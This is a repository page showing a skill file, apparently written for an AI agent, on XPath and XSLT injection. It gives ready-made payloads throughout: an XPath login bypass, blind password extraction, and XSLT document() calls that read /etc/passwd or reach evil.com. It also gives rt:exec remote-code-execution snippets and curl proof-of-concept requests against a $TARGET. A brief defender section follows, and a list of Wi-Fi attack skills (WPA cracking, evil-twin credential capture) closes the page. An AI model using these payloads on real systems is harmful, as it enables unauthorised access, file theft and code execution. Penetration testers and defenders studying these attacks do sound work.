xpath-xslt
XPath + XSLT injection — query manipulation in XML data stores, server-side XSLT RCE via document() / EXSLT extensions.
- License 许可
- Apache-2.0
- 所属仓库
- Akapi895/raptix
- 最近更新
- 2026-11-06
- Stars
- ★ 0
- Forks
- 0
01 前言 Front Matter
- name
- xpath-xslt
- metadata
- { "subdomain": "injection", "when_to_use": "xpath xslt xml injection xpath_string xsl:value-of document()", "mitre_attack": "T1190", "upstream_ref": "skills/_corpus/payloads/XPATH Injection/" }
- description
- XPath + XSLT injection — query manipulation in XML data stores, server-side XSLT RCE via document() / EXSLT extensions.
03 SKILL.md 正文
XPath + XSLT Injection
XPath Injection
XPath = XML query language. User input concatenated into a query string = injection. Same shape as SQL injection but on XML data.
Auth bypass
# Vulnerable
query = f"//user[username='{user}' and password='{pw}']"
# Payload
user = "' or '1'='1" → //user[username='' or '1'='1' and password='']
user = "admin'] | //user[*='" → returns all users
Blind extraction
# Boolean
//user[username='admin' and substring(password, 1, 1)='a']
# Time-based — XPath has no sleep, but some impls support extensions
XSLT Injection
Worse than XPath: XSLT is Turing-complete and many engines support file I/O and RCE.
document() function — file read
<xsl:value-of select="document('file:///etc/passwd')"/>
<xsl:value-of select="document('http://evil.com/x')"/> ← SSRF
EXSLT — RCE on some engines
<!-- Saxon -->
<xsl:value-of select="saxon:evaluate('1+1')"/>
<!-- libxslt w/ Xalan-Java extension -->
<xsl:value-of select='rt:exec(rt:getRuntime(), "id")'/>
Reflected XSS via XSLT
<xsl:value-of select="//input" disable-output-escaping="yes"/>
<!-- attacker-controlled XML → unescaped output → XSS -->
Detection
- Endpoint accepts XML w/ XSLT transform (XML report builders, SOAP responses w/ XSLT)
- Apps using XPath: legacy intranets, file-based config querying, XML feeds
PoC
# XPath
curl -X POST "$TARGET/login" -d "user=' or '1'='1&pass=anything"
# XSLT file read
curl -X POST "$TARGET/transform" --data-binary @- <<'EOF'
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('file:///etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
EOF
Severity
- XPath auth bypass: Critical 9.8
- XSLT file read: Critical 9.0
- XSLT RCE: Critical 10.0
- Blind XPath extraction: High 7-8
Defender
- Use parameterized XPath via libraries (
lxml.etree.XPath(expr)w/ variable bindings) - Disable XSLT extensions by default
- Use
XSLT_SECPREFS_NO_NETWORK | XSLT_SECPREFS_NO_FILE(libxslt) - Sanitize / strict-validate XML input schema
Cross-references
- Upstream:
skills/_corpus/payloads/XPATH Injection/+XSLT Injection/ - XXE (different XML class):
skills/exploit/web/xxe.md
04 同仓库更多 Skills
wps-pixie-dust
WPS Pixie-Dust offline nonce attack (reaver -K / pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.
wpa3-sae
WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.
wpa2-psk
WPA/WPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer/SMB encryption mode in 2026.
wpa-enterprise-eap
WPA/WPA2/WPA3-Enterprise (802.1X/EAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.
krack-fragattacks
KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation/aggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.
evil-twin-karma
Evil-twin rogue AP with KARMA/Mana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK/open networks. Distinct from wpa-enterprise-eap which targets 802.1X.